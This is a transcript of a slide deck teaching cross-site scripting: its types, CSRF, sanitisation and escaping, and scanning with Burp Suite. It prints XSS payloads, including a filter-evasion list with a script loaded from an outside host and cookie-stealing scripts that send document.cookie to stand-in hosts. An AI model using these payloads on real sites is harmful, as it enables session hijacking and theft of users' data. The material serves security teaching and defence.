This document discusses cross-site scripting (XSS) vulnerabilities. It explains that XSS allows malicious users to insert client-side scripts into web pages that are then executed by a user's browser when they visit the page. This can enable attackers to steal cookies and private information, perform actions as the user, and redirect users to malicious sites. The document outlines different types of XSS attacks, including non-persistent XSS that only affects the current user, persistent XSS where malicious code is saved to a database and affects all users, and DOM-based XSS that modifies the DOM environment. It provides examples of how XSS payloads can be inserted and recommendations for preventing XSS like sanitizing user input and output

1. byAmitTyagi

2. Cross Site Scripting
XSS is a vulnerability which when present in
websites or web applications, allows malicious users
(Hackers) to insert their client side code (normally
JavaScript) in those web pages. When this malicious
code along with the original webpage gets
displayed in the web client (browsers like IE, Mozilla
etc), allows Hackers to gain greater access of that
page.

3.  stealing other user’s cookies
 stealing their private information
 performing actions on behalf of other users
 redirecting to other websites
 Showing ads in hidden IFRAMES and pop-
ups

4. Web server gets data from web client
(POST, GET, COOKIES etc) with the request.
So a malicious User can include client side
code snippets (JavaScript) into the data. For
example :
Amit<script>alert (‘this site
has been hacked’) ;</script>

5. Note: This image has been created using Firebug and this XSS hole is not present in google.com

6.  Let’s assumeWeb server performs no
validation or filtration on this data.
 Now web server either saves this data + XSS
code to some persistent storage (like
database) or print this data back in the HTML.
 When this XSS code, comes from server
along with HTML into the web client
(Browser) and executes as server’s own
code, it gets access whole HTML
document, page URL, cookies etc.

7. Server
Hacker’s Browser
http request with
XSS JavaScript
Hacker’s Browser
http response with
XSS JavaScript

8. Note: This image has been created using Firebug and this XSS hole is not present in
google.com

9.  <SCRIPT
SRC=http://ha.ckers.org/xss.js></SCRIPT>
 <IMG SRC=javascript:alert('XSS')>
 <IMG SRC=javascript:alert(&quot;XSS&quot;)>
 <IMG SRC=`javascript:alert("RSnake
says, 'XSS'")`>
 <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
 <IMG
SRC=javascript:alert(String.fromCharCode(88
,83,83))>
 <IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;
&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#1
14;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41
;>

10.  Non-persistent
 Persistent
 DOM Based

11. When XSS code only gets displayed in the next page to the
same user and not gets saved into persistent storage like
database.This type of attack is less vulnerable, because
Hacker can see only their own cookies and can make
modifications in their own current opened pages.The risk
with these kinds of XSS holes is that it opens way for Cross
Site Request Forgery CSRF. CSRF allows a hacker to place
some links
Example : same as given previously to explain XSS

12. Cross-site request forgery
is a type of malicious exploit of a website whereby unauthorized
commands are transmitted from a user that the website trusts.This can
be done by placing some hidden links in some bad website.
for example :
<img
src="http://bank.example/withdraw?account=bob<script>document.loca
tion=‘http://bad-domain.com/store_data?cookie=‘ +
document.cookie;</script>

13. Bank Server
http response with CSRF
Link
Bad Server 1
Normal User’s
Browser
<img
src="http://bank.exampl
e/withdraw?account=bo
b<script>document.loca
tion=‘http://bad-
domain.com/store_data?
cookie=‘ +
document.cookie;</scrip
t>
Normal User’s
Browser
Bad Server 2
http response
with XSS
http request with
cookies
http request
with XSS

14. In persistent type of XSS attack, XSS code gets saved into
persistent storage like database with other data and then it is visible
to other users also. One example of this kind of attacks is possible
blog websites, where hacker can add their XSS code along with the
comment text and if no validation or filtering is present on the
server, XSS code can successfully saved into the database.After this if
anyone (other users) open the page into their browsers, XSS code can
execute and can perform a variety of harmful actions.This type of
attack is more vulnerable, because Hacker can steal cookies and can
make modifications in the page.The risk with these kinds of attacks is
any third party hacker can use this vulnerability to perform some
actions on behalf of other users.
abc<script>window.location =
"http://www.hackers.com?yid=" +
document.cookie;</script>

15. Server
Hacker’s
Browser
http request with
XSS JavaScript
Server saves XSS
code to DB
DB
Step 1

16. Server
Hacker Browser
http request with
XSS JavaScript
Normal User
Browser
http response with
XSS JavaScript
DB
Step 2
Server saves XSS
code to DB

17. Note: This image has been created using Firebug and this XSS hole is not present in
blogger.com

18. DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is
executed as a result of modifying the DOM “environment” in the victim’s browser
used by the original client side script, so that the client side code runs in an
“unexpected” manner.That is, the page itself (the HTTP response that is) does
not change, but the client side code contained in the page executes differently
due to the malicious modifications that have occurred in the DOM environment.
This is in contrast to other XSS attacks (stored or reflected), wherein the attack
payload is placed in the response page (due to a server side flaw).
Example
…
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
…
http://www.vulnerable.site/welcome.html?name=Joe

19. Never trust the
user input data
No matter where it’s coming from (
GET, POST, COOKIE etc.

20. By performing client side (JavaScript) validation, before submitting the
data to server, helps only in usability aspect of the website. It can’t
provide any actual security, because user can disable the JavaScript.
Many JavaScript libraries and frameworks are available for this.
For example in DOJO framework
<label for="firstName">First Name: </label>
<input type="text" id="firstName" name="firstName"
dojoType="dijit.form.ValidationTextBox"
required="true"
propercase="true"
promptMessage="Enter first name."
invalidMessage="First name is required."
trim="true”/><br>

21. By sanitizing the input data, we can prevent
the malicious code to enter in the system.
Checking the proper data types helps in
cleaning the data. First of all we should restrict
numeric data for numeric fields and only
alphanumeric characters for text fields
White lists – Allow <strong>, <em> and <br>
only – Does help, but not 100%
Blacklists – Block <script> and other attributes
such as onload, onclick, onmouseover etc.

22. Problem characters can include < > " ‘ &.These
characters can be replaced with HTML character
entities.
For example, < can be replaced with &lt;.
5 Rules for escaping output
#1 - HTML Escape before inserting into element content
#2 - Attribute Escape before inserting into attributes
#3 - JavaScript Escape before inserting into JavaScript data
values
#4 - CSS Escape before inserting into style property values
#5 - URL Escape before inserting into URL attributes

23. To avoid DOM based XSS attacks.

24. These applications provide the developer to
test their web applications for various types
of vulnerabilities.These applications allow
navigating through the web sites or web
applications and performing various types of
attacks (manual or automated). Both free and
commercial applications are available
(http://sectools.org/web-scanners.html )

25.  Burp suite allows an attacker to combine manual
and automated techniques to
enumerate, analyze, attack and exploit web
applications.The various burp tools work
together effectively to share information and
allow findings identified within one tool to form
the basis of an attack using another.
 Download:
http://portswigger.net/suite/download.html
 Documentation:
http://portswigger.net/suite/help.html

26. Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the end
browser and the target web application, allowing you to intercept, inspect and modify the raw
traffic passing in both directions.
Spider - an intelligent application-aware web spider which allows complete enumeration of an
application's content and functionality.
Scanner [Pro version only] - an advanced tool for performing automated discovery of security
vulnerabilities in web applications.
Intruder - a highly configurable tool for automating customized attacks against web
applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common
vulnerabilities.
Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing
the application's responses.
Sequencer - a tool for analyzing the quality of randomness in an application's session tokens or other
important data items which are intended to be unpredictable.
Decoder - a tool for performing manual or intelligent decoding and encoding of application data.
Comparer - a utility for performing a visual "diff" between any two items of data, normally pairs of
related requests and responses.

28.  Run the application and set the browser proxy to
localhost: 8080
 Open any site and Burp will create a sitemap
tree in the left panel, as per the site traversal.
 Select any URL from the tree and add it to
intruder.
 Add different type of payloads for attack, i.e.
 1<script >alert(1);</script>
 Go to Intruder and click start attack.
 Burp suite will show the results in a new window.

30.  http://en.wikipedia.org
 http://ha.ckers.org/xss.html
 http://portswigger.net
 www